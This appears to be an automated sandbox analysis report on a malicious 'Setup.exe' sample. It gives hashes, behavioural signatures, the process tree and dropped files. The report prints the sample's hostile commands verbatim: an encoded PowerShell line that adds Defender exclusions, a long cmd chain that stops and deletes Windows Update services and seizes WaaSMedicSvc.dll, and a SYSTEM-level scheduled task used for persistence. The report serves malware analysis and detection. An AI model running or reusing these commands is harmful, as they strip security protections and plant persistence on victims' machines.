Analysis
-
max time kernel
137s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
05-05-2022 01:12
Static task
static1
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win7-20220414-en
General
-
Target
Setup.exe
-
Size
4.6MB
-
MD5
62ed80f638e9551e1e59b4ea9341bccd
-
SHA1
44196e8cb0f5774decf60e12215767f092c3c008
-
SHA256
c1143945d2559da08d0fe82b3eb88e1e7238c752b05f3b8c7970e6bd3f6c97bf
-
SHA512
56ba1326b1d691838a77ba3e353b17421d5602d378a73e213b7bc045d3befd304ef5a1170df5ba30ef237df9ef2b18283d19fdf23c025291763c8751ae838cad
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
Executes dropped EXE 2 IoCs
Processes:
iexplor.exeiexplore.exepid process 4712 iexplor.exe 4928 iexplore.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 2412 takeown.exe 3924 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
iexplore.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation iexplore.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 2412 takeown.exe 3924 icacls.exe -
Processes:
iexplore.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA iexplore.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 25 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
iexplor.exedescription pid process target process PID 4712 set thread context of 656 4712 iexplor.exe AppLaunch.exe -
Drops file in Program Files directory 2 IoCs
Processes:
iexplore.exedescription ioc process File opened for modification C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe iexplore.exe File created C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe iexplore.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry key 1 TTPs 5 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exepid process 2296 reg.exe 3200 reg.exe 1316 reg.exe 4048 reg.exe 4264 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeiexplore.exepid process 3508 powershell.exe 3508 powershell.exe 4928 iexplore.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
AppLaunch.exepowershell.exeiexplore.exetakeown.exedescription pid process Token: SeDebugPrivilege 656 AppLaunch.exe Token: SeDebugPrivilege 3508 powershell.exe Token: SeDebugPrivilege 4928 iexplore.exe Token: SeTakeOwnershipPrivilege 2412 takeown.exe -
Suspicious use of WriteProcessMemory 52 IoCs
Processes:
Setup.exeiexplor.exeiexplore.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 2540 wrote to memory of 4712 2540 Setup.exe iexplor.exe PID 2540 wrote to memory of 4712 2540 Setup.exe iexplor.exe PID 2540 wrote to memory of 4712 2540 Setup.exe iexplor.exe PID 4712 wrote to memory of 656 4712 iexplor.exe AppLaunch.exe PID 4712 wrote to memory of 656 4712 iexplor.exe AppLaunch.exe PID 4712 wrote to memory of 656 4712 iexplor.exe AppLaunch.exe PID 4712 wrote to memory of 656 4712 iexplor.exe AppLaunch.exe PID 4712 wrote to memory of 656 4712 iexplor.exe AppLaunch.exe PID 2540 wrote to memory of 4928 2540 Setup.exe iexplore.exe PID 2540 wrote to memory of 4928 2540 Setup.exe iexplore.exe PID 4928 wrote to memory of 3716 4928 iexplore.exe cmd.exe PID 4928 wrote to memory of 3716 4928 iexplore.exe cmd.exe PID 3716 wrote to memory of 3508 3716 cmd.exe powershell.exe PID 3716 wrote to memory of 3508 3716 cmd.exe powershell.exe PID 4928 wrote to memory of 1140 4928 iexplore.exe cmd.exe PID 4928 wrote to memory of 1140 4928 iexplore.exe cmd.exe PID 1140 wrote to memory of 468 1140 cmd.exe sc.exe PID 1140 wrote to memory of 468 1140 cmd.exe sc.exe PID 4928 wrote to memory of 3416 4928 iexplore.exe cmd.exe PID 4928 wrote to memory of 3416 4928 iexplore.exe cmd.exe PID 1140 wrote to memory of 3152 1140 cmd.exe sc.exe PID 1140 wrote to memory of 3152 1140 cmd.exe sc.exe PID 3416 wrote to memory of 4268 3416 cmd.exe schtasks.exe PID 3416 wrote to memory of 4268 3416 cmd.exe schtasks.exe PID 1140 wrote to memory of 4656 1140 cmd.exe sc.exe PID 1140 wrote to memory of 4656 1140 cmd.exe sc.exe PID 1140 wrote to memory of 1492 1140 cmd.exe sc.exe PID 1140 wrote to memory of 1492 1140 cmd.exe sc.exe PID 1140 wrote to memory of 928 1140 cmd.exe sc.exe PID 1140 wrote to memory of 928 1140 cmd.exe sc.exe PID 1140 wrote to memory of 4048 1140 cmd.exe reg.exe PID 1140 wrote to memory of 4048 1140 cmd.exe reg.exe PID 1140 wrote to memory of 4264 1140 cmd.exe reg.exe PID 1140 wrote to memory of 4264 1140 cmd.exe reg.exe PID 1140 wrote to memory of 2296 1140 cmd.exe reg.exe PID 1140 wrote to memory of 2296 1140 cmd.exe reg.exe PID 1140 wrote to memory of 3200 1140 cmd.exe reg.exe PID 1140 wrote to memory of 3200 1140 cmd.exe reg.exe PID 1140 wrote to memory of 1316 1140 cmd.exe reg.exe PID 1140 wrote to memory of 1316 1140 cmd.exe reg.exe PID 4928 wrote to memory of 4980 4928 iexplore.exe cmd.exe PID 4928 wrote to memory of 4980 4928 iexplore.exe cmd.exe PID 1140 wrote to memory of 2412 1140 cmd.exe takeown.exe PID 1140 wrote to memory of 2412 1140 cmd.exe takeown.exe PID 4928 wrote to memory of 4592 4928 iexplore.exe cmd.exe PID 4928 wrote to memory of 4592 4928 iexplore.exe cmd.exe PID 1140 wrote to memory of 3924 1140 cmd.exe icacls.exe PID 1140 wrote to memory of 3924 1140 cmd.exe icacls.exe PID 4980 wrote to memory of 4724 4980 cmd.exe schtasks.exe PID 4980 wrote to memory of 4724 4980 cmd.exe schtasks.exe PID 4592 wrote to memory of 3960 4592 cmd.exe choice.exe PID 4592 wrote to memory of 3960 4592 cmd.exe choice.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\iexplor.exeC:\Users\Admin\AppData\Local\Temp\iexplor.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\iexplore.exeC:\Users\Admin\AppData\Local\Temp\iexplore.exe2⤵
- Executes dropped EXE
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "iexplore" /tr "C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "iexplore" /tr "C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "iexplore"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "iexplore"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\iexplore.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵
-
C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exe"1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAHIAbAB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAawB3AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABxAGoAIwA+AA=="1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exeFilesize
29.2MB
MD5b55b2eeb1c60ffcaa901cc4abdf31b8a
SHA1c973de0f8757cea293fda9879e34628dda785326
SHA25673a77281ddc48bf1c1ffd435d1d23ede8d32158445964706fe8f6479198f3ca3
SHA512858830b2902d6d30a27333c6e80fcc76e58651ae976b1549436d1453a83eca515f2c4e4c973caae1c439d679aa473f49f7627124b9068203bb83e9e4a9cb5a51
-
C:\Program Files\Microsoft\Internet Explorer\UserData\Low\iexplore.exeFilesize
29.1MB
MD57dda5a9e56bff009e082a6363074b05a
SHA138ff02206ca1ffb1c0fcefdc97e2def76a9d7597
SHA256fe943a12e497f2577d894dc8d513e405d3802c9ec35301dc89b2793af0456ffa
SHA512a266f19b2bd6df56895a48c732fa8241c388d8fb8466431b879424cc5efecac39b7814efe027af0e470d4bb10be6941f44eb6fd0942925c3c83f1c1b56ba4acb
-
C:\Users\Admin\AppData\Local\Temp\iexplor.exeFilesize
508.8MB
MD5eda59f27acd8bda62766b37d22b2c928
SHA19833be6e6cddf94c6ba133b73f4430ef89a88c9a
SHA2564dfff026077aa93493edd7407dda28956a079f1618848af195934ab41f164472
SHA5123b20fe50dc623ab0875750ea0051984309f4fa5bafc2d8649e28aeb6aaf18931ed92898d1c16777ff6359095d52be2ad57ea9885f8e69b991ba26f4c8e93802e
-
C:\Users\Admin\AppData\Local\Temp\iexplor.exeFilesize
510.4MB
MD5f2b4df4916720d45a5c7cbd2780faf31
SHA1e3ece1ad3e7f5c99ea7a3b0b518437b3ffe58a79
SHA256fcad65d4e642fe9900acd30a833ac5022fba9817588e75d4f89165e155a3ddcb
SHA512115885c4e01550bedc3f650599df9cde2912b3bba585061e13bad45a9cea55de57c47f8a53edef12eaba9b8a7e9d1fc409f185158f542445683867d109ddf22a
-
C:\Users\Admin\AppData\Local\Temp\iexplore.exeFilesize
436.1MB
MD58fee0276770975e0d83e8c80670366c6
SHA12fd836ae5043ec5e9b7189174460a0dbe81193a0
SHA256e6eeca37aac7303a513ee93a54135ff031f23ab1d3370f4cbd61a1cea3bb7dcf
SHA512a4548dad37fa5e31380caf948f9f0c8f5b564a3d5e3ff36771dc72d57e50f1c9bf929a8cb7bd9f0f9dadb489a08f20058ae00abd1b6acbf74bb1e178df208bcd
-
C:\Users\Admin\AppData\Local\Temp\iexplore.exeFilesize
468.2MB
MD5fa4116e7f437f187a871bce955a0e0c7
SHA1597e2a573e79b4e3ccb3c0b720cfb951d87cc23a
SHA256b0672e8230dfdf37dc1e90cdc09d36c6101ec1dcddc2b1346dcb49d7050769c9
SHA512f1d4b1974971b8fde658c0e36836b4ad07ddcde31990fffcc4e657b9f90f7f11a4f619b518d2dd57f80e2ae05c81f2b7ae22f52691a4cf14d8b7b55a77845a72
-
memory/468-152-0x0000000000000000-mapping.dmp
-
memory/656-134-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/656-140-0x00000000064E0000-0x0000000006A84000-memory.dmpFilesize
5.6MB
-
memory/656-139-0x00000000054F0000-0x0000000005556000-memory.dmpFilesize
408KB
-
memory/656-145-0x0000000006030000-0x00000000060C2000-memory.dmpFilesize
584KB
-
memory/656-133-0x0000000000000000-mapping.dmp
-
memory/928-158-0x0000000000000000-mapping.dmp
-
memory/1140-151-0x0000000000000000-mapping.dmp
-
memory/1284-173-0x0000000000000000-mapping.dmp
-
memory/1316-163-0x0000000000000000-mapping.dmp
-
memory/1492-157-0x0000000000000000-mapping.dmp
-
memory/2296-161-0x0000000000000000-mapping.dmp
-
memory/2412-165-0x0000000000000000-mapping.dmp
-
memory/2888-172-0x00007FFD448B0000-0x00007FFD45371000-memory.dmpFilesize
10.8MB
-
memory/3152-154-0x0000000000000000-mapping.dmp
-
memory/3200-162-0x0000000000000000-mapping.dmp
-
memory/3416-153-0x0000000000000000-mapping.dmp
-
memory/3508-149-0x0000026DD17E0000-0x0000026DD1802000-memory.dmpFilesize
136KB
-
memory/3508-150-0x00007FFD44790000-0x00007FFD45251000-memory.dmpFilesize
10.8MB
-
memory/3508-148-0x0000000000000000-mapping.dmp
-
memory/3660-174-0x0000000000000000-mapping.dmp
-
memory/3716-147-0x0000000000000000-mapping.dmp
-
memory/3924-167-0x0000000000000000-mapping.dmp
-
memory/3960-169-0x0000000000000000-mapping.dmp
-
memory/4048-159-0x0000000000000000-mapping.dmp
-
memory/4264-160-0x0000000000000000-mapping.dmp
-
memory/4268-155-0x0000000000000000-mapping.dmp
-
memory/4592-166-0x0000000000000000-mapping.dmp
-
memory/4656-156-0x0000000000000000-mapping.dmp
-
memory/4712-130-0x0000000000000000-mapping.dmp
-
memory/4724-168-0x0000000000000000-mapping.dmp
-
memory/4928-144-0x0000000000750000-0x000000000096C000-memory.dmpFilesize
2.1MB
-
memory/4928-146-0x00007FFD44790000-0x00007FFD45251000-memory.dmpFilesize
10.8MB
-
memory/4928-141-0x0000000000000000-mapping.dmp
-
memory/4980-164-0x0000000000000000-mapping.dmp